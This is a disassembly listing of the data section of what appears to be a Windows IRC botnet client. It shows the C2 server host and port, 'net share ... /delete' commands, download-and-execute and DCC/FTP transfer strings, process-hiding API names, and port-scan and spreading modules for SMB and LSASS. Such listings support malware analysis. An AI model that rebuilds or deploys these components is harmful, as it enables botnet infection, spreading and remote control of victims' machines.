		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A8o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP4',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAyssafsdsfsddk	db 'ayssafsdsfsddklfsdf',0 ; DATA XREF: sub_4077E0+337o
		align 10h
aIgfsfdsda32_ex	db 'igfsfdsda32.exe',0  ; DATA XREF: sub_4077E0+326o
		dd 0
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
off_44486C	dd offset byte_582323	; DATA XREF: sub_4077E0+307o
dword_444870	dd 23582323h, 23ha6677		db '6677',0             ; DATA XREF: sub_4077E0+29Bo
		align 10h
aIrcx_unicat_or	db 'ircX.unicat.org',0  ; DATA XREF: sub_4077E0+283o
		dd 2 dup(0)
off_444898	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
		dd 2 dup(0)
off_4448B8	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4448E0	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(0)
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 10h
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 4
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 4
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 10h
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
		dd 2 dup(0)
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 8
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 4
dword_444A08	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 10h
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 10h
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 10h
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 10h
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		dd 2 dup(0)
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444ADC:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 10h
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 4
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 4
aBai_0		db ' -bai ',0
		align 10h
aSCS		db '%s%c%s',0
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 8
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 4
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 10h
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 10h
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 10h
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 8
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 4
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 10h
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 4
		dd 0
asc_444C5C	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 10h
asc_444C60:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C6C:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 10h
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 10h
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 10h
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 8
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 10h
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 10h
asc_444D10:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D14:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D18	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D1C	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 10h
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 10h
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 10h
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D5C	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D60	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D6C	dd 652Dh	dword_444D70	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 4
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DAC	db 1			; DATA XREF: sub_41A390r
		align 10h
dword_444DB0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DFC:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E10	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E24	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E5C	dd 63257325h, 0						; sub_41F960+E5o
dword_444E64	dd 72h		dword_444E68	dd 30h							; sub_424920+327o
dword_444E6C	dd 3039h	dword_444E70	dd 383631h	dword_444E74	dd 323931h	dword_444E78	dd 3631h	dword_444E7C	dd 323731h	dword_444E80	dd 3031h	off_444E84	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E88	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E8C	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E90	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E94	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 10h
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 10h
asc_444ED0	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 10h
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 8
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 8
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FD4	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FE4	dd 6469706Bh, 7325203Ah, 0dword_444FF0	dd 203A736Bh, 7325hdword_444FF8	dd 202E6425h, 7325202Fh, 0dword_445004	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 8
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 10h
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 4
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 10h
asc_445080:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 8
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 10h
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 8
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 10h
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 8
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 10h
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 10h
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 10h
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 10h
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 10h
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 10h
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 10h
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_4452FC	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_445314	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 4
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 8
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 10h
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 10h
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 10h
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 4
asc_4453E8:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 4
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445420	dd 1BDh							; sub_422B40+310o ...
off_445424	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445428	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 4
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 10h
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 10h
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
off_4455E8	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455EC	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 8
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 8
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
